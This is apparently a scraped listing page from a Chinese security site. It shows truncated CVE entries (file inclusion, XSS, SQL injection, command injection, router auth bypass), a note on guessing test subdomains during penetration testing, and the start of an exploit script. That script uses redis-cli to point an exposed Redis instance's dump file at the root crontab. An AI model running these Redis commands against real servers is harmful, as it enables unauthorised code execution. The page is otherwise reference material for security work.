漏洞标题 CVE-2020-5405: Spring Cloud Config - Local File Inclusion 漏洞描述 Spring Cloud Config versions 2.2.x prior to 2.2.2, 2.1.x prior to 2.1.7, and older unsupported versions ...

漏洞标题 CVE-2019-3929: Barco/AWIND OEM Presentation Platform - Remote Command Injection 漏洞描述 The Crestron AM-100 firmware 1.6.0.2, Crestron AM-101 firmware 2.7.0.1, Barco wePr...

漏洞标题 CVE-2022-1937: WordPress Awin Data Feed <=1.6 - Cross-Site Scripting 漏洞描述 WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerabilit...

漏洞标题 CVE-2021-44910: SpringBlade - Information Leakage 漏洞描述 SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a ...

漏洞标题 CVE-2020-28185: TerraMaster TOS < 4.2.06 - User Enumeration 漏洞描述 User Enumeration vulnerability in TerraMaster TOS <= 4.2.06 allows remote unauthenticated attack...

漏洞标题 CVE-2015-2068: Magento Server Mass Importer - Cross-Site Scripting 漏洞描述 Magento Server Mass Importer plugin contains multiple cross-site scripting vulnerabilities whic...

漏洞标题 CVE-2023-6989: Shield Security WP Plugin <= 18.5.9 - Local File Inclusion 漏洞描述 The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for...

漏洞标题 CVE-2022-0234: WordPress WOOCS < 1.3.7.5 - Cross-Site Scripting 漏洞描述 WordPress WOOCS plugin before 1.3.7.5 is susceptible to cross-site scripting. The plugin does n...

漏洞标题 CVE-2017-5521: Bypassing Authentication on NETGEAR Routers 漏洞描述 NETGEAR routers before 6.0.10 allow remote attackers to bypass authentication and gain access to the ro...

漏洞标题 CVE-2022-1020: WordPress WooCommerce <3.1.2 - Arbitrary Function Call 漏洞描述 WordPress WooCommerce plugin before 3.1.2 does not have authorisation and CSRF checks in ...

漏洞标题 CVE-2022-22897: PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection 漏洞描述 A SQL injection vulnerability in the product_all_one_img and image_product parameters of the...

漏洞标题 CVE-2021-44910: SpringBlade - Information Leakage 漏洞描述 SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a ...

渗透测试中常见扩大攻击面的方法： 当我们遇到pay.huoxian.cn，可能他存在以下测试域名。 dev.pay.huoxian.cn pay.dev.huoxian.cn devpay.huoxian.cn dev-pay.huoxian.cn paydev.huoxian.cn pay...

漏洞标题 CVE-2010-1977: Joomla! Component J!WHMCS Integrator 1.5.0 - Local File Inclusion 漏洞描述 A directory traversal vulnerability in the J!WHMCS Integrator (com_jwhmcs) compon...

Linux操作系统写入计划任务的操作为例，编写exp.sh： redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 set 1...

漏洞标题 CVE-2023-3479: Hestiacp <= 1.7.7 - Cross-Site Scripting 漏洞描述 Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.7.8. PoC代码